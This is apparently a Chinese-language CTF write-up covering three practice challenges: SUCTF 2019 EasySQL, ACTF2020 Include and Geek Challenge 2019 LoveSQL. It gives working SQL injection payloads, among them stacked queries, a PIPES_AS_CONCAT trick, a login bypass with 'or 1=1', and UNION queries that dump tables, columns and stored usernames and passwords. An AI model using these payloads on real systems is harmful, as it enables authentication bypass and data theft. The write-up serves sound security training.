Contents
  1. 1. [SUCTF 2019]EasySQL
  2. 2. [ACTF2020 新生赛]Include 1
  3. 3. [极客大挑战 2019]LoveSQL 1

[SUCTF 2019]EasySQL

[ACTF2020 新生赛]Include

[极客大挑战 2019]LoveSQL

[SUCTF 2019]EasySQL

输入1,正常回显,有值

1’无回显

1”报错,nonono

有三个回显。

试试1’and ‘1’=’1,报nonono

试了order by也不行,试试堆叠注入;show databases;#

接下来;show tables;#

怎么查看Flag呢。。。。

查看大佬们的wp,

输入1显示Array ( [0] => 1 )

输入a显示空白

输入所有非0数字都显示Array ( [0] => 1 )

输入所有字母(除过滤的关键词外)都显示空白

可以推测题目应该是用了||符号。

推测出题目应该SQL语句是select $_post[value] || flag from Flag。

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。

出现了非预期解

*,1,构造成select *,1 || flag from flag

官方解

1;set sql_mode=PIPES_AS_CONCAT;select 1

构造成select 1;set sql_mode=PIPES_AS_CONCAT;select 1 || flag FROM Flag,

其中PIPES_AS_CONCAT能将||视为字符串连接符而非或运算符,

实际运行为select 1;set sql_mode=PIPES_AS_CONCAT;select “1”+flag from Flag

[ACTF2020 新生赛]Include 1

很简单的一个文件包含,直接用php伪协议读取flag.php即可

[极客大挑战 2019]LoveSQL 1

是个登陆界面

直接试试万能密码

username=1’ or 1=1#passwd=1

使用admin登录

登录之后还是和上面一样的界面

bp抓包试试sql注入

经测试发现单引号可以闭合

并且他是有三列

直接注,爆库

?username=-1’+union+select+1,version(),database()%23&password=49015dfe2bc6add029ba98b1613a2493

爆表

username=-1’+union+select+1,version(),group_concat(table_name)+from+information_schema.tables+where+table_schema=database()%23&password=49015dfe2bc6add029ba98b1613a2493

爆列

username=-1’+union+select+1,version(),group_concat(column_name)+from+information_schema.columns+where+table_name=’l0ve1ysq1’%23&password=49015dfe2bc6add029ba98b1613a2493

爆数据

username=-1’+union+select+1,version(),group_concat(username,’-‘,password)+from+l0ve1ysq1%23&password=49015dfe2bc6add029ba98b1613a2493

Contents
  1. 1. [SUCTF 2019]EasySQL
  2. 2. [ACTF2020 新生赛]Include 1
  3. 3. [极客大挑战 2019]LoveSQL 1